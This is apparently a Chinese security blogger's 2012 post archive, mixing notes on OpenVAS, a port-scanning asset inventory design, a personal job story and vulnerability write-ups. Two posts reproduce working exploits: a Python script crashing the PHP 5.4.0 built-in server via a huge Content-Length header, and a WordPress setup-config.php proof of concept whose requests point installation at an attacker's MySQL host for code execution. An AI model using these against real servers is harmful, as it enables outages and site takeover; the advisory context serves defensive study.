一切的安全问题都是数据的问题

三月 27th, 2012

最早是在一个ppt里有这样的描述。无论何种攻击,都是数据的滥用。一切的安全问题都是数据的问题。不同的是,数据进入数据库,就是注入,回到浏览器就是xss,进入内存就是溢出。

 

PHP 5.4.0 Built-in Web Server DoS PoC

http://www.exploit-db.com/exploits/18665/

这个就是很好的说明。

# The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c

# on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate

# the process with the error message "Out of memory".

同样,拿到content-length 后不验证判断,直接分配内存,显然,搞个大点的数值就把内存吃完了。

import socket, sys

target = "127.0.0.1"

port   = 80;

request  = "POST / HTTP/1.1\n"

request += "Content-Type: application/x-www-form-urlencoded\n"

request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target

request += "A=B\n\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

s.connect((target, port))

except:

print "[-] Connection to %s:%s failed!" % (target, port)

sys.exit(0)

print "[+] Sending HTTP request. Check for crash on target."

s.send(request)

s.close()

openvas 使用交流邮件组

三月 19th, 2012

有问题可以发来讨论讨论!

openvas@googlegroups.com

资产识别管理 — 端口扫描系统

三月 19th, 2012

题首:某大牛说,端口扫描,60分容易,80分难。我这能得几分啊?!

随着公司业务线的增加及单线的延长,公司管理的服务器数量到达一定规模后,一个突出的问题就是一旦出现类似ms12020这样的问题或者nginx这样的漏洞,需要一个准确的快速的范围评估。虽然cmdb可以实现这一功能,但是cmdb的一个弊端就是信息更新不及时。而端口扫描系统,则可以每天更新资产信息。另一方面,端口扫描也可以对服务器端口开放状态做检查,对比,及时发现变化,并跟进处理。

A    架构   synscan+nmap+perl+mysql

perl 来调度程序运行。

1,synscan 先对拿到的ip 做个ping测试,看是否存活,这个视情况而定是否需要。然后对该ip做全端口扫描。

2,synscan的初步结果写入文件

3,nmap 拿到写入的数据如:1.1.1.1:80,起nmap 进行端口确认,并获取banner,将结果如 :1.1.1.1|80/tcp|nginx 0.8.54  写入文件。

4,整个ip list走完之后,程序等待nmap结束,然后,上次扫描的nmap结果跟这次的做对比,看那些是昨天扫到但是今天没有扫到的。将漏掉的重新进行确认,存活的写入今天的结果文件。

5,这步可以先进行白名单匹配,将非白名单的结果单独拿出来,发邮件出去。将结果文件写入mysql。

B  效率

4k左右的ip,9个小时左右。(虚拟机,perl多线程,最大并发15)

C  准确度

synscan 的特点决定第一步的扫描准确度不会太高,要的其实就是速度。我们(4)中对比就是为了弥补这个不足。

D  效果

一个sql语句 就可以生成所有的开放了3389 或者nginx版本小于1.1 的所有服务器列表。准确,快速。 如果再跟cmdb中ip对应的mail 联系起来。嘿嘿,就可以针对性的发提醒邮件给相关的负责人。

闹心网的经历

三月 13th, 2012

题首:虽然是次相当失败的经历,我还是告诉自己,再给我次机会,我还是会做出这样的选择。不去经历,永远不会知道准确的结果。我不会因噎废食。

 

本来并不打算写些什么东西纪念这次不愉快的经历,不过,转念想到,不如留些若干年后审视自己的东西。以鉴今日之孰是孰非。

暂且称呼这公司为k吧。来k的时候,入职在11年12月月底,28号?不大记得住了。以前每次入职,都会在新领的notebook上写下日期。这次竟然没写,冥冥中不想留下么?!来的时候,title是经理。第一次跟上级沟通工作(姑且称为z吧),问了下会不会给招人的名额,答曰明年有两个。事后回忆,我不确定我是否听清了,因为第二次沟通这个问题的时候,z 跟我说,整个大部门有两个名额。回来接着说,1个月左右的时候,z 跟我谈工作。说我目前的工作,都是些细碎的技术方面的工作,我应该做些整体的东西。我自然有我的理由,初来乍到,我肯定得先了解情况,找出当前应该做的工作,根据优先级划分轻重缓急,依次排序安排开始。整体策略性的东西,可以慢慢安排,但是肯定不会优先级高到放着其他漏洞不管而先去搞什么代码review。更让我恼火的是,z 说,安全无非就是些开源工具,谁都会用。我自然毫不客气的回敬:是谁都会用,那得看用的如何。如果像你说的,那还要我们专业安全的做什么?(估计是这次就埋下了伏笔)。我接着说:我就一个人,这些细节的技术的工作当然我去做(我指的是一些上线产品检测及在线产品检测,以及一个端口开发扫描确认程序)。我去做上面的,下面的谁做? z 说,你title是经理,得做经理做的事情。我反问: 经理应该做什么事情?你觉得我应该做什么? z 说,我不知道。我不懂你们的行业。自然,这次谈话如此的不欢而散。

事后反复问朋友同事,我是那种脾气暴躁不好相处的人嘛?都说不是,可是第一次谈话就如此发火,症结大概在于,他不但不尊重我的劳动,还侮辱了我的行业。又或者,我有些自己的问题。我希望抓住这次机会,而不是轻易放弃。

之后的一段时间,我注重了些体系结构计划方面的整理,以此表示,我不是没有规划,规划只是规划,最终还是要落到技术细节上。中间有次跟公司it 聊到内网管理,我建议细化内部服务器的分区,分散风险。z 听到,凑过来,说idc也是如此,不需要这么细分。
我说,万一有机器被搞,如何评估损失?
z 问,我都有iptables,他如何进来,
“有反弹后门啊!”
“反弹后门就可以连进来?”
我瞬间无语。“反弹就是可以从内部连出去……”
“那细分服务器区域就可以解决?”
“不能解决,忙不过是将鸡蛋分散放到多个篮子里,并且,一旦一个篮子出问题,可以降低影响范围。”
“这样划分子网会损失很多ip的,现在ip都快不够用了。”
“这样不涉及到划分子网的问题,交换机按照端口设置vlan就可以实现了,”
“交换机按端口划不也是需要划分子网吗?”
我再一次无语。z 总结:与其花大力气搞这个,不如努力搞web,找出所有漏洞,不让他们进来。

这次不欢而散之后,忽然理解了对牛弹琴的苦衷。
既然领导要求整体,那咱就整体呗,将我的计划做的东西搞了图和excel表格出来,证明很多事情我都想过了,也在计划内。目前没有做只是还没排到。花了几天时间,把一直用的那套扫描系统搭起来,测试性的扫了合作方的ip段,这些服务器也是我们维护,只是使用是他们。将严重的挑出来,提供了修复方案,中文的,搞的哥那一天都想吐了。发给 z,z 没了下文。

后来 z 跟我提起邮箱系统,让我搞搞这个,看看有没有问题。没想到,这个系统,成了我不作为而工作全是他分配的一个佐证了。他直接无视了我发现的根据uid遍历登陆邮箱的漏洞等等一些其他的web漏洞。开源的webmail系统,系统层面的问题没有发现,web上的问题不少。报告提给z,照样没了下文。直到后来我问他要不要修复,不修复我就去通知官方修复。他才想起来,说通知官方修复吧。

不久,就是第二次交流。
这次还是以前的老调子,1,我工作不主动。2,我做的都是细节的技术问题。3,我没有从更高的代码的层次去制定策略措施减少安全问题的发生。
自然,我也是相当的恼火:1,我主动做了工作。2,我一个人,做这个就没空做别的。3,优先级优先级,那个优先级不高,再者,那必须了解熟悉一些事情之后才可以去做。我还是坚持按我的优先级来做事情。web漏洞,依然是我认为当前sns网站的首要安全任务。当然,前提是服务器iptables都正常运行,有些系统层面的安全策略。这些措施和策略已经大大降低了风险程度与这些内容的优先级。我问了为什么漏洞扫描报告没了下文,z 说,我看了,那些都是版本的问题。一句话,噎死我。

具体还要些其他的东西,忘记了。反正我又发火了。这次,我就基本肯定了不能转正的最后结果。后来他写了邮件给我,总结我的工作:
***********************************************************************
工作做的好的地方:
1、能发现我们存在的问题
2、很友好很同事沟通

但是和我们预期还是有差距:
1、主动的去发现我们的问题
2、制定策略,真正能推动、帮助开发同事减少问题:能够制定相关策略,比如开发部门做code review或者正常培训的时候,可以告知大家,怎么做是危险的。
——————————

现在的情况
1、大部分的工作是我指派的
2、很多的沟通,你认为你已经做的很好,或者没时间做。
***********************************************************************
我回了邮件,再次附上我的体系图和计划表。这次还好,他没有无视,问了下面的一些计划。我邮件里附了最后一句:如果不能转正,请提前告知我。多谢!

后来的一个星期,我按计划搭起来内网的ids和西三旗机房的ids。我的计划。

再后来,就是昨天的谈话,无非就是老调子,我心里说,尼玛不能直接说结果嘛。当他说,我们还是希望找个更合适的人的时候,我如释重负。后来给我填一表格,我以为是不予转正的表格,谁知是主动离职的表格。算是协商离职嘛?丫的我第一次遇到试用期没有转正的案例,没想到是发生在我身上。更可乐的是最后他跟我说一句:希望你最后这几天好好工作,你知道,这个圈子很小。言下之意,是是我不好好干这几天,他就能黑我。哥当时就觉得这丫脑袋没事吧?没事搞这么有乐的事情干嘛?

到这里大概算是告一段落了。后来跟同事聊天,他们也对此表示无奈,也有类似的感受。不同的是,我说出来,他们忍着。
于是我的结果就是离开。
解脱了,2个多月的压抑。如释重负。

bt5 r2(怎么老是写成rc2呢)

三月 2nd, 2012

升级了内核到3.2.6,,

还升级了一些工具,

自己升级吧,

http://www.backtrack-linux.org/backtrack/upgrading-to-backtrack-5-r2/

securitycrt win 下配置文件复制到linux下的字体问题解决办法

二月 15th, 2012
删除字体的两行:
sed -i ‘/^B\:\”Narrow Font v2/d’ *.ini   *.ini
sed -i ‘/^B\:\”Normal Font v2/d’ *.ini   *.ini

Apache HTTP Server “httpOnly” Cookie信息泄露漏洞

二月 6th, 2012

这个漏洞,只有在ErrorDocument (400默认错误响应)没有定义的情况下,才可以利用。影响版本是2.2.0-21.不过在Apache/2.2.14 (Ubuntu) 没有测试成功。

再者,此漏洞可以定义为辅助攻击漏洞。因此危害等级较低。

解决方案为升级至2.2.22或者定义ErrorDocument 页面。

官方描述如下:

moderate: error responses can expose cookies CVE-2012-0053

A flaw was found in the default error response for status code 400. This flaw could be used by an attacker to expose "httpOnly" cookies when no custom ErrorDocument is specified.

Acknowledgements: This issue was reported by Norman Hippert

Reported to security team: 15th January 2012
Issue public: 23rd January 2012
Update released: 31st January 2012

Affected: 2.2.21, 2.2.20, 2.2.19, 2.2.18, 2.2.17, 2.2.16, 2.2.15, 2.2.14, 2.2.13, 2.2.12, 2.2.11, 2.2.10, 2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0

一些openvas 安装后运行错误解决办法汇总

二月 2nd, 2012
 
openvas-mkcert-client -n om -i
 
yum downgrade openvas-administrator
 
openvasad -c add_user -n haidao -w haidao -r Admin

linux local root for >=2.6.39 32b and 64b

一月 31st, 2012

介个,也比较恐怖,大于2.6.39 32位和64位通杀,

实战录像

http://www.exploit-db.com/exploits/18411/

 

详细信息:http://blog.zx2c4.com/749

ms12-004 及wp <= 3.3.1

一月 31st, 2012

还在用xp的赶紧换系统吧,ms都不提供支持了,现在爆的这个问题,msf有直接的利用工具,直接反弹shell,系统权限,多恐怖啊,

 

wp 这次出的也是setup-config.php 这个页面上,有些过滤不严及外库使用的问题,过滤不严导致了xss及页面的代码注入,危害不小,看来最安全的还是把安装页面都删了,,

http://www.exploit-db.com/exploits/18417/

Finding 1: PHP Code Execution and Persistent Cross Site Scripting

Vulnerabilities via 'setup-config.php' page.

CVE: CVE-2011-4899

The WordPress 'setup-config.php' installation page allows users to install

WordPress in local or remote MySQL databases. This typically requires a user

to have valid MySQL credentials to complete.  However, a malicious user can

host their own MySQL database server and can successfully complete the

WordPress installation without having valid credentials on the target system.

After the successful installation of WordPress, a malicious user can inject

malicious PHP code via the WordPress Themes editor.  In addition, with control

of the database store, malicious Javascript can be injected into the content

of WordPress yielding persistent Cross Site Scripting.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server

W.X.Y.Z = Malicious User's MySQL Instance

1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port 3306

2.) Performs POST/GET Requests to Install WordPress into MySQL Instance

Request #1

----------

POST /wp-admin/setup-config.php?step=2 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1

Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do

Content-Type: application/x-www-form-urlencoded

Content-Length: 81

dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=Submit

Request #2

----------

GET /wp-admin/install.php HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2

Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do

If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT

3.) Get PHP Code Execution

Malicious user edits 404.php via Themes Editor as follows:

<?php

phpinfo();

?>